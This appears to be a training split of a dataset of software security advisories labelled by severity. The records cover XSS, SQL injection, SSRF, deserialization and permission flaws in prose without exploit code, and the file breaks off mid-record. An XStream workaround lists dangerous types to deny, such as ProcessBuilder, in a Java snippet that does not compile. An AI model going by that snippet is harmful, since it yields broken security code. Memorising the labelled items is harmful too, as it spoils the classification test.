-{"id": "353de4371ed49b91e1fd", "text": "aiohttp-session creates non-expiring sessions\n\naio-libs aiohttp-session version 2.6.0 and earlier contains a Other/Unknown vulnerability in EncryptedCookieStorage and NaClCookieStorage that can result in Non-expiring sessions / Infinite lifespan. This attack appear to be exploitable via Recreation of a cookie post-expiry with the same value.", "text_raw": "aiohttp-session creates non-expiring sessions\n\n[Severity: HIGH]\n\naio-libs aiohttp-session version 2.6.0 and earlier contains a Other/Unknown vulnerability in EncryptedCookieStorage and NaClCookieStorage that can result in Non-expiring sessions / Infinite lifespan. This attack appear to be exploitable via Recreation of a cookie post-expiry with the same value.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "39c20aaecfdb3244b11f", "text": "Pandao editor.md vulnerable to DOM XSS\n\npandao Editor.md 1.5.0 has DOM XSS via input starting with a `<<` substring, which is mishandled during construction of an `A` element.", "text_raw": "Pandao editor.md vulnerable to DOM XSS\n\n[Severity: MEDIUM]\n\npandao Editor.md 1.5.0 has DOM XSS via input starting with a `<<` substring, which is mishandled during construction of an `A` element.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "bc061ef5f13e1528e64a", "text": "Regular Expression Denial of Service in remarkable\n\nlib/common/html_re.js in remarkable 1.7.1 allows Regular Expression Denial of Service (ReDoS) via a CDATA section.", "text_raw": "Regular Expression Denial of Service in remarkable\n\n[Severity: HIGH]\n\nlib/common/html_re.js in remarkable 1.7.1 allows Regular Expression Denial of Service (ReDoS) via a CDATA section.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "c36883b7fef9fb54c867", "text": "ag-grid Cross-Site Scripting vulnerability\n\nVersions of `ag-grid` prior to 14.0.0 are vulnerable to Cross-Site Scripting (XSS). Grid contents are not properly sanitized and may allow attackers to execute arbitrary JavaScript if user input is rendered in the grid.\n\n## Recommendation\n\nUpgrade to version 14.0.0 or later.", "text_raw": "ag-grid Cross-Site Scripting vulnerability\n\n[Severity: HIGH]\n\nVersions of `ag-grid` prior to 14.0.0 are vulnerable to Cross-Site Scripting (XSS). Grid contents are not properly sanitized and may allow attackers to execute arbitrary JavaScript if user input is rendered in the grid. \n\n\n## Recommendation\n\nUpgrade to version 14.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "65b71b480b266caab0f2", "text": "Pillow denial of service\n\nAn issue was discovered in Pillow before 8.2.0. `PSDImagePlugin.PsdImageFile` lacked a sanity check on the number of input layers relative to the size of the data block. This could lead to a DoS on `Image.open` prior to `Image.load`.", "text_raw": "Pillow denial of service\n\n[Severity: HIGH]\n\nAn issue was discovered in Pillow before 8.2.0. `PSDImagePlugin.PsdImageFile` lacked a sanity check on the number of input layers relative to the size of the data block. This could lead to a DoS on `Image.open` prior to `Image.load`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "0ddaa57d47b10eeff461", "text": "SQLAlchemy vulnerable to SQL Injection via order_by parameter\n\nSQLAlchemy through 1.2.17 and 1.3.x through 1.3.0b2 allows SQL Injection via the order_by parameter.", "text_raw": "SQLAlchemy vulnerable to SQL Injection via order_by parameter\n\n[Severity: CRITICAL]\n\nSQLAlchemy through 1.2.17 and 1.3.x through 1.3.0b2 allows SQL Injection via the order_by parameter.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-04-16", "split": "train"}
-{"id": "3f55c0487af32f32f49d", "text": "Adobe Shockwave Player 11.5.6.606 (DIR) Multiple Memory Vulnerabilities", "text_raw": "Adobe Shockwave Player 11.5.6.606 (DIR) Multiple Memory Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-05-11", "split": "train"}
-{"id": "89824f39529e55b70e21", "text": "UUPSUpgradeable vulnerability in @openzeppelin/contracts-upgradeable\n\n### Impact\n\nUpgradeable contracts using `UUPSUpgradeable` may be vulnerable to an attack affecting uninitialized implementation contracts. We will update this advisory with more information soon.\n\n### Patches\n\nA fix is included in version 4.3.2 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.\n\n### Workarounds\n\nInitialize implementation contracts using `UUPSUpgradeable` by invoking the initializer function (usually called `initialize`). An example is provided [in the forum](https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301).\n\n### References\n\nA post-mortem will be published in a few days in the [OpenZeppelin Forum](https://forum.openzeppelin.com/).\n\n### For more information\n\nIf you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.", "text_raw": "UUPSUpgradeable vulnerability in @openzeppelin/contracts-upgradeable\n\n[Severity: CRITICAL]\n\n### Impact\n\nUpgradeable contracts using `UUPSUpgradeable` may be vulnerable to an attack affecting uninitialized implementation contracts. We will update this advisory with more information soon.\n\n### Patches\n\nA fix is included in version 4.3.2 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.\n\n### Workarounds\n\nInitialize implementation contracts using `UUPSUpgradeable` by invoking the initializer function (usually called `initialize`). An example is provided [in the forum](https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301).\n\n### References\n\nA post-mortem will be published in a few days in the [OpenZeppelin Forum](https://forum.openzeppelin.com/).\n\n### For more information\n\nIf you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-15", "split": "train"}
-{"id": "c68ce7d8ee41d0a89a64", "text": "Integer truncation in Shard API usage\n\n### Impact\nThe `Shard` API in TensorFlow expects the last argument to be a function taking two `int64` (i.e., `long long`) arguments:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/util/work_sharder.h#L59-L60\n\nHowever, there are several places in TensorFlow where a lambda taking `int` or `int32` arguments is being used:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/random_op.cc#L204-L205\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/random_op.cc#L317-L318\n\nIn these cases, if the amount of work to be parallelized is large enough, integer truncation occurs. Depending on how the two arguments of the lambda are used, this can result in segfaults, read/write outside of heap allocated arrays, stack overflows, or data corruption.\n\n### Patches\nWe have patched the issue in 27b417360cbd671ef55915e4bb6bb06af8b8a832 and ca8c013b5e97b1373b3bb1c97ea655e69f31a575. We will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Integer truncation in Shard API usage\n\n[Severity: HIGH]\n\n### Impact\nThe `Shard` API in TensorFlow expects the last argument to be a function taking two `int64` (i.e., `long long`) arguments:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/util/work_sharder.h#L59-L60\n\nHowever, there are several places in TensorFlow where a lambda taking `int` or `int32` arguments is being used:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/random_op.cc#L204-L205\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/random_op.cc#L317-L318\n\nIn these cases, if the amount of work to be parallelized is large enough, integer truncation occurs. Depending on how the two arguments of the lambda are used, this can result in segfaults, read/write outside of heap allocated arrays, stack overflows, or data corruption.\n\n### Patches\nWe have patched the issue in 27b417360cbd671ef55915e4bb6bb06af8b8a832 and ca8c013b5e97b1373b3bb1c97ea655e69f31a575. We will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "44d5ed63897359734c1f", "text": "## Leaking cached authenticated requests\n\n### Impact\nIf you've been using one `MemoryCacheMethod` object in multiple instances of `Gw2WebApiClient` and are requesting authenticated endpoints with different access tokens, then you are likely to run into this bug.\n\nWhen using an instance of `MemoryCacheMethod` and using it with multiple instances of `Gw2WebApiClient`, there's a possibility that cached authenticated responses are leaking to another request to the same endpoint, but with a different Guild Wars 2 access token. The latter request wouldn't start however, and would return the first cached response immediately. This means that the second response (or later responses) may contain the same data as the first response, therefore leaking data from another authenticated endpoint.\n\nThe occurence of this is limited however. The Guild Wars 2 API doesn't use the `Expires` header on most (if not all) authenticated endpoints. This header is checked when caching responses. If this header isn't available, the response isn't cached at all. You should still update to at least version 0.3.1 in order to be certain that it won't happen.\n\n### Patches\nThis bug has been fixed in version 0.3.1. When using an authenticated endpoint, it will prepend the SHA-1 hash of the access token to the cache id.\n\n### Workarounds\nFor version 0.3.0 and lower, you can use one separate instance of `MemoryCacheMethod` per `Gw2WebApiClient` if you need to use it.\n\n### For more information\nIf you have any questions or comments about this advisory, you can open an issue in [the Gw2Sharp repository](https://github.com/Archomeda/Gw2Sharp) or contact me on [Discord](https://discord.gg/hNcpDT3).", "text_raw": "Low severity vulnerability that affects Gw2Sharp\n\n[Severity: LOW]\n\n## Leaking cached authenticated requests\n\n### Impact\nIf you've been using one `MemoryCacheMethod` object in multiple instances of `Gw2WebApiClient` and are requesting authenticated endpoints with different access tokens, then you are likely to run into this bug.\n\nWhen using an instance of `MemoryCacheMethod` and using it with multiple instances of `Gw2WebApiClient`, there's a possibility that cached authenticated responses are leaking to another request to the same endpoint, but with a different Guild Wars 2 access token. The latter request wouldn't start however, and would return the first cached response immediately. This means that the second response (or later responses) may contain the same data as the first response, therefore leaking data from another authenticated endpoint.\n\nThe occurence of this is limited however. The Guild Wars 2 API doesn't use the `Expires` header on most (if not all) authenticated endpoints. This header is checked when caching responses. If this header isn't available, the response isn't cached at all. You should still update to at least version 0.3.1 in order to be certain that it won't happen.\n\n### Patches\nThis bug has been fixed in version 0.3.1. When using an authenticated endpoint, it will prepend the SHA-1 hash of the access token to the cache id.\n\n### Workarounds\nFor version 0.3.0 and lower, you can use one separate instance of `MemoryCacheMethod` per `Gw2WebApiClient` if you need to use it.\n\n### For more information\nIf you have any questions or comments about this advisory, you can open an issue in [the Gw2Sharp repository](https://github.com/Archomeda/Gw2Sharp) or contact me on [Discord](https://discord.gg/hNcpDT3).\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-06-18", "split": "train"}
-{"id": "04c72c2cd8f56c516894", "text": "Server-Side Forgery Request can be activated unmarshalling with XStream\n\n### Impact\nThe vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.15.\n\n### Workarounds\nThe reported vulnerability does not exist running Java 15 or higher.\n\nNo user is affected, who followed the recommendation to setup XStream's Security Framework with a whitelist! Anyone relying on XStream's default blacklist can immediately switch to a whilelist for the allowed types to avoid the vulnerability.\n\nUsers of XStream 1.4.14 or below who still insist to use XStream default blacklist - despite that clear recommendation - can use a workaround depending on their version in use.\n\nUsers of XStream 1.4.14 can simply add two lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\n\nUsers of XStream 1.4.14 to 1.4.13 can simply add three lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\", \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\nUsers of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from scratch and deny at least the following types: _javax.imageio.ImageIO$ContainsFilter_, _java.beans.EventHandler_, _java.lang.ProcessBuilder_, _jdk.nashorn.internal.objects.NativeString.class_, _java.lang.Void_ and _void_ and deny several types by name pattern.\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\", \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, \"jdk.nashorn.internal.objects.NativeString\", java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\$LazyIterator\", \"javax\\\\.crypto\\\\..*\", \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\nUsers of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:\n```Java\nxstream.registerConverter(new Converter() {\n  public boolean canConvert(Class type) {\n    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class\n        || type.getName().equals(\"javax.imageio.ImageIO$ContainsFilter\") || type.getName().equals(\"jdk.nashorn.internal.objects.NativeString\")\n        || type == java.lang.Void.class || void.class || Proxy.isProxy(type))\n        || type.getName().startsWith(\"javax.crypto.\") || type.getName().endsWith(\"$LazyIterator\") || type.getName().endsWith(\".ReadAllStream$FileStream\"));\n  }\n\npublic Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n\npublic void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n}, XStream.PRIORITY_LOW);\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "Server-Side Forgery Request can be activated unmarshalling with XStream\n\n[Severity: MEDIUM]\n\n### Impact\nThe vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.15.\n\n### Workarounds\nThe reported vulnerability does not exist running Java 15 or higher.\n\nNo user is affected, who followed the recommendation to setup XStream's Security Framework with a whitelist! Anyone relying on XStream's default blacklist can immediately switch to a whilelist for the allowed types to avoid the vulnerability.\n\nUsers of XStream 1.4.14 or below who still insist to use XStream default blacklist - despite that clear recommendation - can use a workaround depending on their version in use.\n\nUsers of XStream 1.4.14 can simply add two lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\n\nUsers of XStream 1.4.14 to 1.4.13 can simply add three lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\", \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\nUsers of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from scratch and deny at least the following types: _javax.imageio.ImageIO$ContainsFilter_, _java.beans.EventHandler_, _java.lang.ProcessBuilder_, _jdk.nashorn.internal.objects.NativeString.class_, _java.lang.Void_ and _void_ and deny several types by name pattern.\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\", \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, \"jdk.nashorn.internal.objects.NativeString\", java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\$LazyIterator\", \"javax\\\\.crypto\\\\..*\", \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\nUsers of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:\n```Java\nxstream.registerConverter(new Converter() {\n  public boolean canConvert(Class type) {\n    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class\n        || type.getName().equals(\"javax.imageio.ImageIO$ContainsFilter\") || type.getName().equals(\"jdk.nashorn.internal.objects.NativeString\")\n        || type == java.lang.Void.class || void.class || Proxy.isProxy(type))\n        || type.getName().startsWith(\"javax.crypto.\") || type.getName().endsWith(\"$LazyIterator\") || type.getName().endsWith(\".ReadAllStream$FileStream\"));\n  }\n\n  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n\n  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n}, XStream.PRIORITY_LOW);\n```\n \n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-21", "split": "train"}
-{"id": "7e8cd456cfb0b446b31e", "text": "Deno's static imports inside dynamically imported modules do not adhere to permission checks\n\n### Impact\n\nModules that are dynamically imported through `import()` or `new Worker` might have been able to bypass network and file system permission checks when statically importing other modules. In Deno 1.5.x and 1.6.x only programs dynamically importing (especially transitively) untrusted code are affected. In Deno 1.7.x all programs importing (especially transitively) untrusted code are affected.\n\nIn effect an attacker in control of a (possibly remote) module in a programs module graph has been able to, **irrespective of permissions**:\n1. initiate GET requests to arbitrary URLs on the internet (including LAN) and possibly read (parts of) the contents of these resources.\n2. check for existence of arbitrary paths on the file system, and possibly read (parts of) the contents of these files.\n\nIn Deno 1.5.x (October 27th, 2020) and Deno 1.6.x (December 8th, 2020) the attacker module had to have been granted permissions to load dynamically through the network / fs read permission. Since Deno 1.7.x (January 19th, 2021) this vulnerability was able to be exploited in a fully sandboxed isolate (without any permissions). This vulnerability was not present in releases prior to 1.5.0.\n\nArbitrary non-GET requests, control over request headers, or file system writes are not possible through this vulnerability. Users of the `deno_core`, `deno_runtime`, or other `deno_*` crates are not affected. This is a Deno CLI only vulnerability.\n\nWe are relatively confident this was not abused in the wild, as by default Deno prints out a green \"Download\" message when remote imports are downloaded, and this would have caused suspicion if it occurred in the middle of a programs execution. This message can be silenced with the `--quiet` flag.\n\n### Patches\n\nThe vulnerability has been patched in Deno release 1.10.2. You can upgrade to the latest Deno version by running the `deno upgrade` command. The release is available through all official download channels.\n\n### Workarounds\n\nThere is no workaround for this issue.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue on [the issue tracker](https://github.com/denoland/deno)\n* Discuss on [Discord](https://discord.gg/deno)", "text_raw": "Deno's static imports inside dynamically imported modules do not adhere to permission checks\n\n[Severity: CRITICAL]\n\n### Impact\n\nModules that are dynamically imported through `import()` or `new Worker` might have been able to bypass network and file system permission checks when statically importing other modules. In Deno 1.5.x and 1.6.x only programs dynamically importing (especially transitively) untrusted code are affected. In Deno 1.7.x all programs importing (especially transitively) untrusted code are affected.\n\nIn effect an attacker in control of a (possibly remote) module in a programs module graph has been able to, **irrespective of permissions**:\n1. initiate GET requests to arbitrary URLs on the internet (including LAN) and possibly read (parts of) the contents of these resources.\n2. check for existence of arbitrary paths on the file system, and possibly read (parts of) the contents of these files.\n\nIn Deno 1.5.x (October 27th, 2020) and Deno 1.6.x (December 8th, 2020) the attacker module had to have been granted permissions to load dynamically through the network / fs read permission. Since Deno 1.7.x (January 19th, 2021) this vulnerability was able to be exploited in a fully sandboxed isolate (without any permissions). This vulnerability was not present in releases prior to 1.5.0.\n\nArbitrary non-GET requests, control over request headers, or file system writes are not possible through this vulnerability. Users of the `deno_core`, `deno_runtime`, or other `deno_*` crates are not affected. This is a Deno CLI only vulnerability.\n\nWe are relatively confident this was not abused in the wild, as by default Deno prints out a green \"Download\" message when remote imports are downloaded, and this would have caused suspicion if it occurred in the middle of a programs execution. This message can be silenced with the `--quiet` flag.  \n\n### Patches\n\nThe vulnerability has been patched in Deno release 1.10.2. You can upgrade to the latest Deno version by running the `deno upgrade` command. The release is available through all official download channels. \n\n### Workarounds\n\nThere is no workaround for this issue.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue on [the issue tracker](https://github.com/denoland/deno)\n* Discuss on [Discord](https://discord.gg/deno)\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-23", "split": "train"}
-{"id": "9e2dff0fd7b13d63c6c9", "text": "SQL Injection in t3/dce\n\nThe dce (aka Dynamic Content Element) extension 2.2.0 through 2.6.x before 2.6.2, and 2.7.x before 2.7.1, for TYPO3 allows SQL Injection via a backend user account.", "text_raw": "SQL Injection in t3/dce\n\n[Severity: HIGH]\n\nThe dce (aka Dynamic Content Element) extension 2.2.0 through 2.6.x before 2.6.2, and 2.7.x before 2.7.1, for TYPO3 allows SQL Injection via a backend user account.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "215200ae9c9bf245fd9a", "text": "Privilege Escalation in Hibernate Validator\n\nIn Hibernate Validator 5.2.x before 5.2.5.Final, 5.3.x before 5.3.6.Final, and 5.4.x before 5.4.2.Final, it was found that when the security manager's reflective permissions, which allows it to access the private members of the class, are granted to Hibernate Validator, a potential privilege escalation can occur. By allowing the calling code to access those private members without the permission an attacker may be able to validate an invalid instance and access the private member value via ConstraintViolation#getInvalidValue().", "text_raw": "Privilege Escalation in Hibernate Validator\n\n[Severity: HIGH]\n\nIn Hibernate Validator 5.2.x before 5.2.5.Final, 5.3.x before 5.3.6.Final, and 5.4.x before 5.4.2.Final, it was found that when the security manager's reflective permissions, which allows it to access the private members of the class, are granted to Hibernate Validator, a potential privilege escalation can occur. By allowing the calling code to access those private members without the permission an attacker may be able to validate an invalid instance and access the private member value via ConstraintViolation#getInvalidValue().", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "1cae6ad7eccf426784a8", "text": "Out of bounds read in lazy-init\n\nAn issue was discovered in the lazy-init crate through 2021-01-17 for Rust. Lazy lacks a Send bound, leading to a data race.", "text_raw": "Out of bounds read in lazy-init\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the lazy-init crate through 2021-01-17 for Rust. Lazy lacks a Send bound, leading to a data race.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e70f9660cab4217b5982", "text": "Automatic room upgrade handling can be used maliciously to bridge a room non-consentually\n\n### Impact\n\nIf a bridge has room upgrade handling turned on in the configuration (the `roomUpgradeOpts` key when instantiating a new `Bridge` instance.), any `m.room.tombstone` event it encounters will be used to unbridge the current room and bridge into the target room. However, the target room `m.room.create` event is not checked to verify if the `predecessor` field contains the previous room. This means that any mailcious admin of a bridged room can repoint the traffic to a different room without the new room being aware.\n\n### Patches\n\nVersions 2.6.1 and greater are patched.\n\n### Workarounds\n\nDisabling the automatic room upgrade handling can be done by removing the `roomUpgradeOpts` key from the `Bridge` class options.\n\n### References\n\nThe issue is patched by https://github.com/matrix-org/matrix-appservice-bridge/pull/330\n\n### For more information]\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "text_raw": "Automatic room upgrade handling can be used maliciously to bridge a room non-consentually \n\n[Severity: MEDIUM]\n\n### Impact\n\nIf a bridge has room upgrade handling turned on in the configuration (the `roomUpgradeOpts` key when instantiating a new `Bridge` instance.), any `m.room.tombstone` event it encounters will be used to unbridge the current room and bridge into the target room. However, the target room `m.room.create` event is not checked to verify if the `predecessor` field contains the previous room. This means that any mailcious admin of a bridged room can repoint the traffic to a different room without the new room being aware.\n\n\n### Patches\n\nVersions 2.6.1 and greater are patched.\n\n### Workarounds\n\nDisabling the automatic room upgrade handling can be done by removing the `roomUpgradeOpts` key from the `Bridge` class options. \n\n### References\n\nThe issue is patched by https://github.com/matrix-org/matrix-appservice-bridge/pull/330\n\n### For more information]\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "3004b6c6d6fd33fdd1a1", "text": "Deserialization of Untrusted Data in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.6.7.4, 2.7.x before 2.7.9.7, 2.8.x before 2.8.11.5 and 2.9.x before 2.9.10.2 lacks certain xbean-reflect/JNDI blocking, as demonstrated by org.apache.xbean.propertyeditor.JndiConverter.", "text_raw": "Deserialization of Untrusted Data in jackson-databind\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.6.7.4, 2.7.x before 2.7.9.7, 2.8.x before 2.8.11.5 and 2.9.x before 2.9.10.2 lacks certain xbean-reflect/JNDI blocking, as demonstrated by org.apache.xbean.propertyeditor.JndiConverter.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-04", "split": "train"}
-{"id": "73d67f5bb6e0e41aff8c", "text": "Improper Authorization in org.apache.hbase:hbase\n\nIn all previously released Apache HBase 2.x versions (2.0.0-2.0.4, 2.1.0-2.1.3), authorization was incorrectly applied to users of the HBase REST server. Requests sent to the HBase REST server were executed with the permissions of the REST server itself, not with the permissions of the end-user. This issue is only relevant when HBase is configured with Kerberos authentication, HBase authorization is enabled, and the REST server is configured with SPNEGO authentication. This issue does not extend beyond the HBase REST server.", "text_raw": "Improper Authorization in org.apache.hbase:hbase\n\n[Severity: HIGH]\n\nIn all previously released Apache HBase 2.x versions (2.0.0-2.0.4, 2.1.0-2.1.3), authorization was incorrectly applied to users of the HBase REST server. Requests sent to the HBase REST server were executed with the permissions of the REST server itself, not with the permissions of the end-user. This issue is only relevant when HBase is configured with Kerberos authentication, HBase authorization is enabled, and the REST server is configured with SPNEGO authentication. This issue does not extend beyond the HBase REST server.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-02", "split": "train"}
-{"id": "bf5f2b1cfd27ea6ff183", "text": "Option CloudGate Insecure Direct Object References Authorization Bypass", "text_raw": "Option CloudGate Insecure Direct Object References Authorization Bypass\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-06-25", "split": "train"}
-{"id": "61f883804890d7b8fa87", "text": "Command Injection Vulnerability in systeminformation\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a shell string sanitation fix. Please upgrade to version >= 4.31.1\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to si.inetLatency()\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [systeminformation](https://github.com/sebhildebrandt/systeminformation/issues/new?template=bug_report.md)", "text_raw": "Command Injection Vulnerability in systeminformation\n\n[Severity: MEDIUM]\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a shell string sanitation fix. Please upgrade to version >= 4.31.1\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to si.inetLatency()\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [systeminformation](https://github.com/sebhildebrandt/systeminformation/issues/new?template=bug_report.md)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-16", "split": "train"}
-{"id": "022e02d31f599b89e484", "text": "Potential sensitive information disclosed in error reports\n\ndjango-registration is a user-registration application for Django.\n\n### Impact\n\nThe django-registration package provides tools for implementing user-account registration flows in the Django web framework. In django-registration prior to 3.1.2, the base user-account registration view did not properly apply filters to sensitive data, with the result that sensitive data could be included in error reports rather than removed automatically by Django.\n\nTriggering this requires the following conditions:\n\n* A site is using django-registration < 3.1.2\n* The site has detailed error reports (such as Django's [emailed error reports to site staff/developers](https://docs.djangoproject.com/en/3.1/howto/error-reporting/#email-reports)) enabled\n* A server-side error (HTTP 5xx) occurs during an attempt by a user to register an account\n\nUnder these conditions, recipients of the detailed error report will see all submitted data from the account-registration attempt, which may include the user's proposed credentials (such as a password).\n\n### Patches\n\nAs of version 3.1.2, django-registration properly applies Django's `sensitive_post_parameters()` decorator to the base user-registration view, which will cause all data from the HTTP request body to be filtered from detailed error reports in the event of a server-side crash during user account registration.\n\nNote that as applied, this filters *all* HTTP request data from error reports. To selectively allow some fields but not others, see Django's own documentation (in references) and the notes below for how to apply `sensitive_post_parameters()` manually to a particular codebase's `RegistrationView` subclass(es).\n\n### Workarounds\n\nUsers who cannot upgrade quickly can apply the `django.views.decorators.debug.sensitive_post_parameters()` decorator to their own registration views. The decorator should be applied on the `dispatch()` method of the appropriate `RegistrationView` class, using Django's `method_decorator()` helper. For example:\n\n```python\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.debug import sensitive_post_parameters\n\nfrom django_registration.views import RegistrationView\n\nclass 